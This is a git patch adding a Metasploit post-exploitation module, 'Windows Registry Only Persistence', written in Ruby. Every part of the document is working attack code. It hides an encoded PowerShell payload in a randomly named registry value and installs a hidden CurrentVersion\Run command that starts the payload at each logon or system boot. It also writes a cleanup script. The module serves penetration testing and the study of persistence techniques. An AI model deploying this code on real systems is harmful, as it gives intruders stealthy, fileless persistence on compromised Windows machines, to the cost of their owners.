From bd94f50fb02f85c16ff7ba6610d4486a031026a3 Mon Sep 17 00:00:00 2001 From: Donny Maasland Date: Wed, 1 Jul 2015 12:26:46 +0200 Subject: [PATCH] add registry_persistence.rb --- .../windows/local/registry_persistence.rb | 191 ++++++++++++++++++ 1 file changed, 191 insertions(+) create mode 100644 modules/exploits/windows/local/registry_persistence.rb diff --git a/modules/exploits/windows/local/registry_persistence.rb b/modules/exploits/windows/local/registry_persistence.rb new file mode 100644 index 0000000000..2f536b6a13 --- /dev/null +++ b/modules/exploits/windows/local/registry_persistence.rb @@ -0,0 +1,191 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/powershell' +require 'msf/core/post/file' + + class Metasploit4 < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::Powershell + include Msf::Post::Windows::Registry + include Msf::Post::File + + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows Registry Only Persistence', + 'Description' => %q{ + This module will install a payload that is executed during boot. + It will be executed either at user logon or system startup via the registry + value in "CurrentVersion\Run" (depending on privilege and selected method). + The payload will be installed completely in registry. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Donny Maasland ', + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => + [ + [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => "Jul 1 2015", + 'DefaultOptions' => + { + 'DisablePayloadHandler' => 'true' + } + )) + + register_options([ + OptEnum.new('STARTUP', + [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), + OptString.new('BLOB_REG_KEY', + [false, 'The registry key to use for storing the payload blob. (Default: random)' ]), + OptString.new('BLOB_REG_NAME', + [false, 'The name to use for storing the payload blob. (Default: random)' ]), + OptString.new('RUN_NAME', + [false, 'The name to use for the \'Run\' key. (Default: random)' ]), + OptEnum.new('TECHNIQUE', [true, 'Execution technique', 'PSH', ['PSH']]), # Just PSH for now, might add others later. + ], self.class) + end + + def generate_payload_blob + if datastore['TECHNIQUE'] == 'PSH' + blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first,use_single_quotes: true, encode_final_payload: true).split(' ')[-1] + end + + return blob + end + + def generate_cmd(root_path, blob_key_name, blob_key_reg) + if datastore['TECHNIQUE'] == 'PSH' + cmd = "%COMSPEC% /b /c start /b /min powershell -nop -c $y=(Get-Item('#{root_path}:#{blob_key_name}')).GetValue('#{blob_key_reg}'); powershell -nop -e $y" # There might be a better way to do this. + end + return cmd + end + + def generate_blob_reg + blob_reg_key = datastore["BLOB_REG_KEY"] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}" + blob_reg_name = datastore["BLOB_REG_NAME"] || Rex::Text.rand_text_alphanumeric(8) + return blob_reg_key, blob_reg_name + end + + def generate_cmd_reg + cmd_reg = datastore["RUN_NAME"] || Rex::Text.rand_text_alphanumeric(8) + return cmd_reg + end + + def install_blob(root_path, blob, blob_reg_key, blob_reg_name) + blob_reg_key = "#{root_path}\\#{blob_reg_key}" + if not registry_enumkeys(blob_reg_key) + if registry_createkey(blob_reg_key) + print_good("Created registry key #{blob_reg_key}") + else + fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}") + end + end + + if registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ") + print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}") + else + fail_with(Failure::Unknown,'Failed to open the registry key for writing') + end + + end + + def install_cmd(cmd, cmd_reg, root_path) + if registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cmd_reg, cmd, 'REG_EXPAND_SZ') + print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}") + else + fail_with(Failure::Unknown,'Could not install run key') + end + end + + def get_root_path + if datastore["STARTUP"] == 'USER' + root_path = 'HKCU' + else + root_path = 'HKLM' + end + return root_path + end + + def log_file(log_path = nil) # Thanks Meatballs for this + # Get hostname + host = session.sys.config.sysinfo["Computer"] + + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + + # Create a directory for the logs + if log_path + logs = ::File.join(log_path, 'logs', 'persistence', + Rex::FileUtils.clean_path(host + filenameinfo)) + else + logs = ::File.join(Msf::Config.log_directory, 'persistence', + Rex::FileUtils.clean_path(host + filenameinfo)) + end + + # Create the log directory + ::FileUtils.mkdir_p(logs) + + # logfile name + logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" + logfile + end + + def create_cleanup(root_path, blob_reg_key, cmd_reg) # Thanks Meatballs for this + clean_rc = log_file() + @clean_up_rc = "" + @clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n" + @clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n" + file_local_write(clean_rc, @clean_up_rc) + print_status("Clean up Meterpreter RC file: #{clean_rc}") + + report_note(:host => session.sys.config.sysinfo["Computer"], + :type => "host.persistance.cleanup", + :data => { + :local_id => session.sid, + :stype => session.type, + :desc => session.info, + :platform => session.platform, + :via_payload => session.via_payload, + :via_exploit => session.via_exploit, + :created_at => Time.now.utc, + :commands => @clean_up_rc + } + ) + end + + def exploit + print_status('Generating payload blob..') + blob = generate_payload_blob + if blob.length <= 16383 + print_good("Generated payload, #{blob.length} bytes") + else + fail_with(Failure::Unknown, "Payload blob is too large (#{blob.length} bytes)") + end + + root_path = get_root_path + print_status("Root path is #{root_path}") + + blob_reg_key, blob_reg_name = generate_blob_reg + cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name) + cmd_reg = generate_cmd_reg + + print_status('Installing payload blob..') + install_blob(root_path, blob, blob_reg_key, blob_reg_name) + + print_status('Installing run key') + install_cmd(cmd, cmd_reg, root_path) + + create_cleanup(root_path, blob_reg_key, cmd_reg) + end + end \ No newline at end of file